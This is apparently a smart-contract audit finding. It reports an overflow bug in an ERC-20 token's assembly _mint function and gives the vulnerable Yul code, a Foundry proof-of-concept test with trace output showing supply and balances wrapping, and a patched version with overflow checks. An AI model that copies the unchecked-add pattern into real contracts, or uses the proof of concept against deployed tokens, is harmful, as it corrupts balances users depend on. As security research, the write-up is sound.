Description
-
In a safe ERC‑20, minting should increase total supply and the recipient’s balance without risk of overflow. In Solidity ≥0.8.x, arithmetic in standard Solidity code reverts on overflow automatically. When using Yul assembly, add/sub do not have built‑in overflow checks, so explicit guards are required.
-
In this codebase, _mint updates totalSupply and the recipient’s balance using raw Yul add with no overflow checks. If either totalSupply + value or balance[account] + value exceeds type(uint256).max, the value will silently wrap (mod 2^256), corrupting supply and balances.
function _mint(address account, uint256 value) internal {
assembly ("memory-safe") {
if iszero(account) {
mstore(0x00, shl(224, 0xec442f05))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
let ptr := mload(0x40)
let balanceSlot := _balances.slot
let supplySlot := _totalSupply.slot
let supply := sload(supplySlot)
- sstore(supplySlot, add(supply, value))
mstore(ptr, account)
mstore(add(ptr, 0x20), balanceSlot)
let accountBalanceSlot := keccak256(ptr, 0x40)
let accountBalance := sload(accountBalanceSlot)
- sstore(accountBalanceSlot, add(accountBalance, value))
}
}
Risk
Likelihood: Low
-
Mint is a common operation in many tokens (distributions, rewards, bridges).
-
This project’s Token.mint is public (unrestricted), making it trivial for anyone to repeatedly mint until either the total supply or an account balance reaches an overflow boundary.
Impact: High
-
Supply corruption: totalSupply can wrap to a small number, breaking core invariants and all downstream accounting assumptions.
-
Balance corruption: Recipient balances can wrap, enabling misreporting of funds and causing severe inconsistencies for DEXes, bridges, indexers, and protocols relying on accurate balances.
Proof of Concept
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {Token} from "./Token.sol";
contract MintOverflowTest is Test {
Token internal token;
address internal ALICE = address(0xA11CE);
function setUp() public {
token = new Token();
}
function test_mint_overflows_totalSupply_and_balance() public {
uint256 nearMax = type(uint256).max - 10;
uint256 value = 20;
uint256 expectedWrap = 9;
token.mint(ALICE, nearMax);
assertEq(token.totalSupply(), nearMax, "totalSupply should be near MAX_UINT");
assertEq(token.balanceOf(ALICE), nearMax, "ALICE balance should be near MAX_UINT");
token.mint(ALICE, value);
assertEq(token.totalSupply(), expectedWrap, "totalSupply wrapped due to unchecked add");
assertEq(token.balanceOf(ALICE), expectedWrap, "ALICE balance wrapped due to unchecked add");
}
function test_followup_mints_after_wrap_change_values_but_state_is_corrupted() public {
uint256 nearMax = type(uint256).max - 10;
uint256 value = 20;
token.mint(ALICE, nearMax);
token.mint(ALICE, value);
token.mint(ALICE, 3);
assertEq(token.totalSupply(), 12, "wrapped supply (9) + 3 => 12");
assertEq(token.balanceOf(ALICE), 12, "wrapped balance (9) + 3 => 12");
}
}
Output:
[⠊] Compiling...
No files changed, compilation skipped
Ran 2 tests for test/poc7.t.sol:MintOverflowTest
[PASS] test_followup_mints_after_wrap_change_values_but_state_is_corrupted() (gas: 64532)
Traces:
[64532] MintOverflowTest::test_followup_mints_after_wrap_change_values_but_state_is_corrupted()
├─ [45004] Token::mint(0x00000000000000000000000000000000000A11cE, 115792089237316195423570985008687907853269984665640564039457584007913129639925 [1.157e77])
│ └─ ← [Stop]
├─ [1204] Token::mint(0x00000000000000000000000000000000000A11cE, 20)
│ └─ ← [Stop]
├─ [1204] Token::mint(0x00000000000000000000000000000000000A11cE, 3)
│ └─ ← [Stop]
├─ [317] Token::totalSupply() [staticcall]
│ └─ ← [Return] 12
├─ [0] VM::assertEq(12, 12, "wrapped supply (9) + 3 => 12") [staticcall]
│ └─ ← [Return]
├─ [720] Token::balanceOf(0x00000000000000000000000000000000000A11cE) [staticcall]
│ └─ ← [Return] 12
├─ [0] VM::assertEq(12, 12, "wrapped balance (9) + 3 => 12") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
[PASS] test_mint_overflows_totalSupply_and_balance() (gas: 67113)
Traces:
[67113] MintOverflowTest::test_mint_overflows_totalSupply_and_balance()
├─ [45004] Token::mint(0x00000000000000000000000000000000000A11cE, 115792089237316195423570985008687907853269984665640564039457584007913129639925 [1.157e77])
│ └─ ← [Stop]
├─ [317] Token::totalSupply() [staticcall]
│ └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129639925 [1.157e77]
├─ [0] VM::assertEq(115792089237316195423570985008687907853269984665640564039457584007913129639925 [1.157e77], 115792089237316195423570985008687907853269984665640564039457584007913129639925 [1.157e77], "totalSupply should be near MAX_UINT") [staticcall]
│ └─ ← [Return]
├─ [720] Token::balanceOf(0x00000000000000000000000000000000000A11cE) [staticcall]
│ └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129639925 [1.157e77]
├─ [0] VM::assertEq(115792089237316195423570985008687907853269984665640564039457584007913129639925 [1.157e77], 115792089237316195423570985008687907853269984665640564039457584007913129639925 [1.157e77], "ALICE balance should be near MAX_UINT") [staticcall]
│ └─ ← [Return]
├─ [1204] Token::mint(0x00000000000000000000000000000000000A11cE, 20)
│ └─ ← [Stop]
├─ [317] Token::totalSupply() [staticcall]
│ └─ ← [Return] 9
├─ [0] VM::assertEq(9, 9, "totalSupply wrapped due to unchecked add") [staticcall]
│ └─ ← [Return]
├─ [720] Token::balanceOf(0x00000000000000000000000000000000000A11cE) [staticcall]
│ └─ ← [Return] 9
├─ [0] VM::assertEq(9, 9, "ALICE balance wrapped due to unchecked add") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.27ms (429.60µs CPU time)
Ran 1 test suite in 13.66ms (1.27ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
Recommended Mitigation
function _mint(address account, uint256 value) internal {
assembly ("memory-safe") {
if iszero(account) {
mstore(0x00, shl(224, 0xec442f05))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
let ptr := mload(0x40)
let balanceSlot := _balances.slot
let supplySlot := _totalSupply.slot
let supply := sload(supplySlot)
+ // Check: newSupply = supply + value; overflow if newSupply < supply
+ let newSupply := add(supply, value)
+ if lt(newSupply, supply) {
+ // Use a custom error or revert consistently with your style
+ revert(0, 0)
+ }
+ sstore(supplySlot, newSupply)
mstore(ptr, account)
mstore(add(ptr, 0x20), balanceSlot)
let accountBalanceSlot := keccak256(ptr, 0x40)
let accountBalance := sload(accountBalanceSlot)
+ // Check: newBalance = accountBalance + value; overflow if newBalance < accountBalance
+ let newBalance := add(accountBalance, value)
+ if lt(newBalance, accountBalance) {
+ revert(0, 0)
+ }
+ sstore(accountBalanceSlot, newBalance)
+ // (Optional but recommended) Emit Transfer(0x0, account, value) for mint
+ // mstore(ptr, value)
+ // log3(ptr, 0x20, TRANSFER_TOPIC, 0x0, account)
}
}